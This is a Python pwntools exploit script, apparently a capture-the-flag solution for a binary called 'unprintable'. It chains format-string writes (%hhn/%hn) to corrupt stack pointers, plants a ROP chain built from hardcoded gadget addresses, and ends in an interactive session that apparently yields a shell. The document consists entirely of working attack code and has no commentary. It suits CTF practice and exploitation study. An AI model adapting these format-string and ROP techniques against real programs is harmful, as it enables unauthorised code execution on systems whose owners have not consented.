1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| from pwn import *
debug=1
context.log_level='debug'
if debug: p=process('./unprintable') else: pass
def ru(x): return p.recvuntil(x)
def se(x): p.send(x)
def sl(x): p.sendline(x)
def wait(x=True): sleep(0.3)
def write_addr(addr,sz=6): t = (stack+0x40)%0x100 v = p64(addr) for i in range(sz): if t+i != 0: se('%'+str(t+i)+'c%18$hhn%'+str(1955-t-i)+'c%23$hn\x00') else: se('%18$hhn%1955c%23$hn') wait() tv = ord(v[i]) if tv != 0: se('%'+str(tv)+'c%13$hhn%'+str(1955-tv)+'c%23$hn\x00') else: se('%13$hhn%1955c%23$hn') wait()
def write_value(addr,value,addr_sz=6): write_addr(addr,addr_sz) se('%'+str(ord(value[0]))+'c%14$hhn%'+str(1955-ord(value[0]))+'c%23$hn\x00') wait() ta = p64(addr)[1] for i in range(1,len(value)): tmp = p64(addr+i)[1] if ta!=tmp: write_addr(addr+i,2) ta = tmp else: write_addr(addr+i,1) if ord(value[i]) !=0: se('%'+str(ord(value[i]))+'c%14$hhn%'+str(1955-ord(value[i]))+'c%23$hn\x00') else: se('%14$hhn%1955c%23$hn\x00') wait()
buf = 0x601060+0x100+4
ru('This is your gift: ') stack = int(ru('\n'),16)-0x118
if stack%0x10000 > 0x2000: p.close() exit()
se('%'+str(buf-0x600DD8)+'c%26$hn'.ljust(0x100,'\x00')+p64(0x4007A3)) wait()
se('%163c%23$hhn\x00') wait()
if debug: gdb.attach(p)
raw_input()
rop = 0x601060+0x200
write_value(stack,p64(rop)[:6])
context.arch = 'amd64'
prbp = 0x400690 prsp = 0x40082d adc = 0x4006E8 arsp = 0x0400848 prbx = 0x40082A call = 0x400810 stderr = 0x601040
payload = p64(arsp)*3 payload += flat(prbx,0,stderr-0x48,rop,0xFFD2BC07,0,0,call) payload += flat(adc,0,prbx,0,0,stderr,0,0,0,0x400819)
se(('%'+str(0x82d)+'c%23$hn').ljust(0x200,'\0')+payload)
print(hex(stack))
p.interactive()
|